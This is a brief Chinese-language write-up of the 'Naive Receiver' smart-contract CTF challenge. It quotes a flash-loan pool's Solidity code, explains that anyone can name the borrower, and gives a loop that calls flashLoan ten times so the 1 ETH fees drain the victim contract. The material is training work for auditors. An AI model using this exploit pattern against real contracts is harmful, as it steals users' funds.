跳到主要内容

Description

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

Code

Pool::flashLoan()中,borrower是可控的,所以直接传入Receiver地址,并且调用10次就可以。

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();

// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);

if (address(this).balance < balanceBefore + FIXED_FEE) {
revert FlashLoanHasNotBeenPaidBack();
}
}

Solution

题目要求把Receiver中的账户资金耗尽,并且在一个交易中,所以直接就调用10次flashloan就好了

Exp

for (uint256 i = 0; i < 10; i++){
naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), address(flashLoanReceiver).balance);
}